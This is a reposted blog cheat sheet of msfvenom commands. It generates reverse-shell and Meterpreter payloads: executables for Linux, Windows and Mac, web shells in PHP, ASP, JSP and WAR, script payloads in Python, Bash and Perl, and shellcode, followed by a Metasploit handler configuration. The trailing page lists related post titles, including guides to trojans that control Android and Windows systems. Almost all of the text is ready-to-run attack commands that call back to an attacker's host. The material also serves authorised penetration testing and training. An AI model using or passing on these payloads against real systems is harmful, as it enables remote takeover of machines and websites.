转自https://www.cnblogs.com/zlgxzswjy/p/6881904.html

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

List payloads

msfvenom -l

Binaries

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘

metasploit生成payload的格式的更多相关文章

  1. metasploit framework(四):生成payload

    RHOST是限制来源IP,这里不用修改 generate生成payload 假设'\x00'是坏字符,生成payload时就会对'\x00'进行编码,排除坏字符. -b 去掉坏字符 -t 指定生成的格 ...

  2. 使用Kali中的Metasploit生成木马控制Windows系统 (第九天 9.20)

    本文转自:https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html 一.kali及Metasploit kali基于debin的数字取证系统,上面 ...

  3. Python生成PASCAL VOC格式的xml标注文件

    Python生成PASCAL VOC格式的xml标注文件 PASCAL VOC数据集的标注文件是xml格式的.对于py-faster-rcnn,通常以下示例的字段是合适的: <annotatio ...

  4. kali linux之Msf-exploit模块,生成payload

    Exploit模块 Active exploit(主动地向目标机器发送payload并执行,使目标交出shell(反连等)) msf5 > use exploit/windows/smb/pse ...

  5. 转:PHP 生成复杂JSON格式 简单快速方法

    PHP 生成JSON 格式主要使用json_encode()函数.这个函数的输入参数支持PHP数组和对象类型. 查阅网上的例子通常都是使用数组的,也有个别使用对象生成.但实际项目中,我们要生成的JSO ...

  6. msfvenom生成payload命令

    msfvenom生成payload命令 windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp L ...

  7. 通过Metasploit生成各种后门

    生成windows后门 1.首先生成后门 [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ ...

  8. Kali之Metasploit生成apk后门控制安卓

    扫盲教程,大佬勿喷. 实验中请更改为你环境的IP. 生成apk后门 Kali Linux(Hack):192.168.169.76 Android(靶机):192.168.169.137 启动kali ...

  9. Kali环境使用Metasploit生成木马入侵安卓手机

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计, ...

随机推荐

  1. dubbo 概述和使用

    dubbo核心概念 apache是一款高性能.轻量级的开源java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现 官网:http://dubbo ...

  2. CSS初识盒子

    <!doctype html> <html> <head> <meta charset="utf-8"> <title> ...

  3. Linux中 ./configure --prefix命令

    源码的安装一般由3个步骤组成:配置(configure).编译(make).安装(make install),具体的安装方法一般作者都会给出文档,这里主要讨论配置(configure).Configu ...

  4. 使用pycharm 出现 interpreter field is empty 完美解决方法(转载 记录)

    使用pycharm 出现 interpreter field is empty 主要是因为你的电脑没有正确安装python或者安装python出错,重新下载安装覆盖就行 下载安装包:从Python的官 ...

  5. maven的pom.xml文件详解

    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/20 ...

  6. 配置错误 不能在此路径中使用此配置节。如果在父级别上锁定了该节,便会出现这种情况。锁定是默认设置的(overrideModeDefault="Deny"),或者是通过包含 overrideMode="Deny" 或旧有的 allowOverride="false" 的位置标记明确设置的。

    原因:可能是在安装IIS7的时候没有安装asp.net, 尝试使用以下方法: cmd.exe要以管理员身份启动,在c:\windows\system32下找到cmd.exe,右键管理员启动,输入命令 ...

  7. flask接收post提交的json数据并保存至数据库

    定义数据模型 # 定义数据模型class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(d ...

  8. C#字符串和数组互转

    string str = "a,b,c,d,e";             string[] strArray = str.Split(','); //字符串转数组         ...

  9. webpack多入口优化

    最近接手的项目是公司之前搭的多页面应用脚手架,然后到现在入口页面大大小小超过半百了,然后每次更新完配置之后,重启页面就贼拉卡,实在太影响开发效率了,于是开始优化呗. 最开始发现如果你想要让加载速度变快 ...

  10. activemq stomp类

    此库用来增强ide,能对stomp类进行自动提示 <?php class Stomp { /** * 构造器 * Stomp constructor. * @param string $brok ...